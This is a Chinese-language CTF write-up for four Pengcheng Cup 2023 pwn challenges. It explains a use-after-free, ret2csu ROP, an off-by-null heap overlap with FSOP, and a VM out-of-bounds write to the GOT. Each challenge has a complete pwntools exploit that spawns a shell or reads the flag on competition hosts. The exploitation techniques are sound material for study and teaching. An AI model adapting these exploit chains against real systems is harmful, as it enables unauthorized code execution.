鹏城杯 2023 初赛 Pwn WriteUp

现实世界开始上压力了。

鹏城杯 2023 初赛 Pwn WriteUp

十点上号,脑子不太清醒。

先过了一遍,大致确认难度silent ~= coffee < heap < 6052(vmpwn)

然后四点半准时下班。vmpwn直接开摆。

还算成功(嘿嘿)

atuo_coffee_sale_machine

卖完free掉没同步库存,后台修改操作就能UAF。

但uaf改指针之前记得先清库存(aka同步库存),要不然后台直接“虚空上货”了(前台没货后台有货,直接同步到前台)

把最开始那个0x6c大小的coffee结构体指针改到stdout泄露libc(改got表有可能会把got表项改掉)

然后打freehook即可。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#s=process("./pwn")
s=remote("172.10.0.9",8888)
libc=ELF("./libc-2.31.so")

def menu(ch):
    s.sendlineafter(b">>>",str(ch).encode())

def admin():
    menu(4421)
    s.sendlineafter(b"password\n",b"just pwn it")

def uaf(id,off,content):
    admin()
    menu(2)
    s.sendlineafter(b">>>",str(id).encode())
    s.sendlineafter(b">>>",str(off).encode())
    s.sendafter(b"content\n",content)
    menu(3)

def buy(idx,cont=b""):
    menu(1)
    s.sendlineafter(b"buy\n",str(idx).encode())
    if cont!=b"":
        s.sendlineafter(b"Y/N\n",b"Y")
        s.sendafter(b"coffee\n",cont)
    else:
        s.sendlineafter(b"Y/N\n",b"N")

def repl(idx):
    admin()
    menu(1)
    s.sendlineafter(b">>>",str(idx).encode())
    menu(3)

def show():
    menu(2)

if __name__=="__main__":
    pause()
    buy(1)
    buy(1)
    repl(2)
    buy(1)
    uaf(1,3,p64(0x4062f0))
    repl(1)
    repl(1)
    uaf(1,2,p64(0x4062e0))
    show()
    s.recvuntil(b"1.")
    libc.address=u64(s.recv(6).ljust(8,b"\x00"))-(0x7f2cf77ca5c0-0x7f2cf75dd000)
    success(hex(libc.address))
    pause()
    buy(3)
    buy(3)
    repl(1)
    buy(3)
    uaf(3,3,p64(libc.sym.__free_hook))
    repl(3)
    repl(3)
    uaf(3,2,p64(libc.sym.system))
    buy(1,b"/bin/sh\x00")
    s.interactive()

silent

跟之前巅峰极客初赛linkmap差不多。

这种一般都会落到造syscall和ret2csu。

目标就可以被拆解为找三种gadgets。

  • got表 -> 寄存器
  • 寄存器修改,比如add rax,dl
  • 寄存器 -> 内存

对于linkmap来说三种gadget都有,但本题没有第一种gadget。

但stdin/stdout也是libc相关地址,可以用第二种gadget算出来一个syscall地址。

不过按理来说byte ptrdword ptr应该没有区别,但是byte ptr远程死活出不来,换成dword ptr之后秒出。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#s=process("./silent")
s=remote("172.10.0.8",9999)
libc=ELF("./libc-2.27.so")
    
if __name__=="__main__":
    pad=b"A"*0x40
    rdi=0x0000000000400963
    rsi_r15=0x0000000000400961
    rbp=0x0000000000400788
    rsp_r13_r15=0x000000000040095d
    bss=0x601040
    fake_rbp=bss+0x40
    pivot_read=0x4008DC
    csu1=0x40095A
    csu2=0x400940

    p=flat([
        pad,b"a"*8,
        csu1,0,1,0x600fe0,0,bss+0x800,0x400,
        csu2,0,0,0,0,0,0,0,
        rsp_r13_r15,bss+0x800-0x10,
    ])
    s.send(p)
    # 0x4007ff: add byte ptr [rbp + 0x48], dl ; mov ebp, esp ; pop rbp ; jmp 0x400790
    magic=0x4007ff
    # 0x4007e8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
    magic2=0x4007e8
    pause()
    p=flat([
        rdi+1,
        csu1,0,1,bss+0x800,0,0,0,
        csu2,0,0x100000000-0x73e97760+0x73bbb02f,0x601020+0x3d,0,0,0,0,
        magic2,
        csu1,0,1,0x600fe0,0,0x602000,8,
        csu2,0,0,1,0x601020,1,0x600fe0,8,
        csu2,0,0,1,0x600fe0,0,bss+0x600,0x400,
        csu2,0,0,0,0,0,0,0,
        rsp_r13_r15,bss+0x600-0x18,
    ])+b"/flag"
    s.send(p)
    p=b"a"*1
    s.send(p)
    dat=s.recv(8,timeout=2)
    if dat==b"" or dat=="timeout:":
        raise EOFError
    libc.address=u64(dat)-libc.sym.read
    success(hex(libc.address))
    context.log_level="debug"
    pause()
    rsi=libc.address+0x0000000000023a6a
    rdx=libc.address+0x0000000000130516
    p=flat([
        rdi,0x6019d0,
        rsi,0,
        rdx,0,
        libc.sym.open,
        rdi,3,
        rsi,0x602000,
        rdx,0x100,
        libc.sym.read,
        rdi,1,
        libc.sym.write
    ])
    s.send(p)
    s.interactive()

baby heap

off by null板子,甚至还给了堆基址。

整个假的堆块,清掉下一个堆块的inuse位,向前合并打堆重叠,转化为UAF。

风水一下,把指针推到之前堆块的对应位置即可。这里的指针需要推到largebin,unsortedbin低位为0无法泄露。

addr1 addr2 chunk1 chunk2
0x2c0 chunk1 0x431
0x2d0 fake chunk 0x421
0x6d0 0x6d0 chunk2 0x431 overlap chunk 0x431
0x6e0 0x6e0 fd 遗留指针泄露地址

如上表布局,利用unsordbin/largebin切割把libc/heap指针推到overlap前遗留的指针地址即可。

然后常规largebin attack_IO_list_allhouse of apple 2即可。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#s=process("./babyheap")
s=remote("172.10.0.7",10001)
libc=ELF("./libc.so.6")

def menu(ch):
    s.sendlineafter(b">> \n",str(ch).encode())

def add(size,content=b"/bin/sh\x00"):
    menu(1)
    s.sendlineafter(b"size\n",str(size).encode())
    if len(content)<size:
        content+=b"\n"
    s.sendafter(b"name\n",content)

def edit(idx,size,content):
    menu(2)
    s.sendlineafter(b"index\n",str(idx).encode())
    s.sendlineafter(b"size\n",str(size).encode())
    s.sendlineafter(b"name\n",content)

def show(idx,):
    menu(3)
    s.sendlineafter(b"index\n",str(idx).encode())
    return s.recvline()[:-1]

def delete(idx):
    menu(4)
    s.sendlineafter(b"index\n",str(idx).encode())

if __name__=="__main__":
    s.recvuntil(b"easier\n")
    heap_base=eval(s.recvline()[:-1])&(~0xfff)
    success(hex(heap_base))
    pause()
    for i in range(4):
        add(0x428)
    add(0x4f8)
    add(0x408)
    edit(3,0x428,b"a"*0x420+p64(0x10b0))
    edit(0,0x428,flat([
        0,0x10b1,
        heap_base+0x2e0-0x20,heap_base+0x2e0-0x20,
        heap_base+0x2c0,heap_base+0x2c0,
    ]))
    delete(4)
    add(0x418) # 4
    for i in range(3):
        add(0x428)
    add(0x4f8)
    delete(3) # 0x428 #8
    add(0x438)
    dat=show(8)
    libc.address=u64(dat.ljust(8,b"\x00"))-(0x7f64c06d90f0-0x7f64c04da000)
    success(hex(libc.address))
    
    edit(8,0x20,flat([0,0,0,libc.sym["_IO_list_all"]-0x20]))
    delete(4)
    add(0x458)

    iostru_base=heap_base+0x2c0
    ropp=ROP(libc)
    leave_ret=ropp.find_gadget(["leave","ret"])[0]
    rbp=ropp.find_gadget(["pop rbp","ret"])[0]
    rsp=ropp.find_gadget(["pop rsp","ret"])[0]
    info(hex(leave_ret))
    fakeio=FileStructure()
    fakeio.vtable=libc.sym["_IO_wfile_jumps"]
    fakeio._IO_write_base=0
    fakeio._IO_write_ptr=1
    fakeio.flags=u32(b"  sh")
    fakeio._wide_data= heap_base+0x6f0
    fakeio._codecvt = iostru_base
    fakeio.chain=leave_ret
    fakeio._lock=libc.address+(0x7f4bbbf748e0-0x7f4bbbd74000)
    fakeio=bytes(fakeio)
    
    edit(0,len((fakeio)),(fakeio))
    rdi=ropp.find_gadget(["pop rdi","ret"])[0]
    binsh=libc.search(b"/bin/sh").__next__()

    rop_chain=flat({
        0x40:[rdi,binsh,libc.sym.system],
        0x60:[libc.sym.system],
        0xe0:[heap_base+0x6f0+0x60-0x68]
    },filler=b"\x00")
    edit(1,len(rop_chain),rop_chain)
    stack_pivot=flat({
        8: heap_base+0,
        0x20: libc.sym.setcontext+61,
        0xa0: heap_base+0x6f0+0x40,
    },filler=b"\x00")
    edit(4,len(stack_pivot),stack_pivot)
    menu(5)
    s.sendline(b"cat flag")
    s.interactive()

6502

参考WriteUp by Polaris

孩子的第一个vm题。

稍微总结了一点做vm的思路。(虽然样本只有一个)

除了got是黄的全绿,且最后给了一个read随后puts,不得不让人想到改elf.got.puts->libc.sym.system

程序一开始直接把所有指令读入并送入vm执行,那就先去看看vm的write_mem有没有什么问题。

看起来似乎好像没什么问题,但有个强行转成signed short就很怪,最后也证实这里可以负向溢出改got表。

然后看访存模式。

abs模式允许在命令中直接指定(short)addr_abs,正好拿他来做溢出。

poc逻辑就有了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
context.clear(arch='amd64', os='linux', log_level='info')
s=process("./6502_proccessor")
# BASE FUNC 0x20a0a8
# adc abs 0x20ae48
# offset 109
# sta abs 0x20b248
# offset 141
# lda imm 0x20b5c8
# offset 169

payload=b""
payload+=p8(169)+p8(0xb0)           # lda imm 0xb0
payload+=p8(109)+p8(0xf2)+p8(0xde)  # adc abs [mem_ptr + (short)0xdef2 + 6] 0xb0
payload+=p8(141)+p8(0xf2)+p8(0xde)  # sta abs [mem_ptr + (short)0xdef2 + 6]

payload+=p8(169)+p8(0xea)           # lda imm 0xea
payload+=p8(109)+p8(0xf3)+p8(0xde)  # adc abs [mem_ptr + (short)0xdef3 + 6] 0xea
payload+=p8(141)+p8(0xf3)+p8(0xde)  # sta abs [mem_ptr + (short)0xdef3 + 6]

payload+=p8(169)+p8(0xfc)           # lda imm 0xfc
payload+=p8(109)+p8(0xf4)+p8(0xde)  # adc abs [mem_ptr + (short)0xdef4 + 6] 0xfc
payload+=p8(141)+p8(0xf4)+p8(0xde)  # sta abs [mem_ptr + (short)0xdef4 + 6]

s.recvuntil(b'length: \n')

s.sendline(str(len(payload)).encode())
s.sendafter(b'code: ', payload)
s.send(b'/bin/sh\0')

s.interactive()
0%